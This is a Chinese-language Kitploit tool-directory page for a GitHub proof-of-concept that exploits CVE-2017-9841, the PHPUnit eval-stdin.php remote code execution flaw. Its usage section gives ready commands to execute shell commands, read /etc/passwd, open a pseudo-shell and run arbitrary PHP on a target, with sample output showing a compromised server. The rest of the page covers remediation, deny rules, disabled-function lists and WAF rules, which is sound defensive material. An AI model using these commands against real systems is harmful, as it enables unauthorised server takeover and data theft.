Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行(RCE)漏洞,影响 5.6.3 之前的版本以及 6.4.2 之前的 6.x 版本。 | Kitploit
工具/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行(RCE)漏洞,影响 5.6.3 之前的版本以及 6.4.2 之前的 6.x 版本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
23个月前尚未审核
分享

CVE-2017-9841 — PHPUnit 远程代码执行 (RCE) PoC

⚠️ 免责声明: 此工具仅用于教育目的和授权的安全测试。未经授权对您不拥有或未获明确许可的系统进行测试是非法的。作者对此工具的任何滥用不承担任何责任。


概述

CVE-2017-9841 是 PHPUnit 库中的一个远程代码执行 (RCE) 漏洞,影响版本低于 5.6.3 和 6.x 低于 6.4.2 的版本。

该漏洞存在于 src/Util/PHP/eval-stdin.php 中,该文件通过 eval() 函数执行从 php://input(POST 请求体)接收的 PHP 代码。如果该文件可公开访问(例如在未受保护的 vendor/ 目录中),攻击者无需认证即可在服务器上执行任意 PHP 代码。

漏洞详情

字段值
CVE IDCVE-2017-9841
CVSS 评分9.8(严重)
受影响版本PHPUnit < 5.6.3, 6.x < 6.4.2
类型远程代码执行 (RCE)
认证不需要
攻击向量网络(远程)
发布日期2017年6月27日
参考NVD

漏洞代码

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

该文件从 POST 请求体接收 PHP 代码并立即通过 eval() 执行,没有任何身份验证或验证。


安装

依赖

  • Python 3.6+
  • requests 库
root@kitploit:~
pip install requests

设置

root@kitploit:~
git clone <仓库URL>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

使用

基本语法

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [选项]

-u 选项接受基础 URL(自动附加漏洞路径)或者直接指向 eval-stdin.php 的完整 URL。

1. 漏洞检测(不执行命令)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

输出:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. 命令执行

root@kitploit:~
# 单条命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# 多条命令
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# 读取文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# 将输出保存到文件
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. 服务器信息(只读)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

输出:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. 交互式伪 shell

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

输出:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. 自动查找漏洞路径

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. 自定义路径

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. 指向 eval-stdin.php 的完整 URL

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. 执行原始 PHP 代码

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

选项参考

标志描述
-u, --url URL目标基础 URL 或指向 eval-stdin.php 的完整 URL
-c, --cmd CMD在目标服务器上执行的 CLI 命令
--check检查目标是否存在漏洞,不执行命令
--shell打开一个伪交互式 shell
--info收集服务器信息(只读)
--find-path扫描常见路径以定位 eval-stdin.php
--path PATH指定到 eval-stdin.php 的自定义路径
--timeout N请求超时秒数(默认:30)
-o, --output FILE将命令输出保存到文件
--php CODE执行原始 PHP 代码而非系统命令

修复措施

立即执行的操作(立即完成)

1. 删除漏洞文件

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. 阻止对 vendor 目录的访问

在 vendor/ 目录内添加 .htaccess 文件:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

或在 Apache VirtualHost 中配置:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

对于 Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. 从生产环境中移除开发依赖

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

短期加固

4. 在 php.ini 中启用 disable_functions

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. 启用 open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini 或 VirtualHost 中
open_basedir = /var/www/html/project:/tmp

6. 减少 max_execution_time

root@kitploit:~
max_execution_time = 30

7. 重启 PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# 或
sudo systemctl restart php-fpm

长期加固

8. 升级 PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. 部署 WAF 规则

ModSecurity 示例:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD 流水线加固

root@kitploit:~
# 示例:GitHub Actions
- name: 仅安装生产依赖
  run: composer install --no-dev --optimize-autoloader

- name: 移除测试文件和漏洞脚本
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

攻击流程图

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          攻击者              │
                    └──────────────┬───────────────┘
                                   │ POST (PHP 代码)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache 服务器                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │              任意代码执行                             │  │
│  │                                                       │  │
│  │  - 在服务器上读取/写入文件                             │  │
│  │  - 访问数据库凭据                                     │  │
│  │  - 横向移动至内部网络                                 │  │
│  │  - 安装后门 / webshell                                │  │
│  │  - 权限提升                                           │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

加剧因素

以下条件会显著增加此漏洞的严重性和可利用性:

因素影响
disable_functions 为空所有 PHP 函数可用(system、exec 等)
未设置 open_basedir攻击者可以在整个文件系统上读取/写入文件
高 max_execution_time攻击者每个请求有更多时间处理复杂载荷
加载了 FFI 扩展允许直接调用 C 函数,绕过 PHP 限制
加载了数据库扩展可直接连接数据库(mysqli、pgsql 等)
未部署 WAF无请求过滤或阻止
未部署 IDS/IPS无异常检测或告警
生产环境中包含开发依赖不必要地扩大了攻击面

参考

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

许可证

此工具仅用于教育和授权的安全测试目的。

下载工具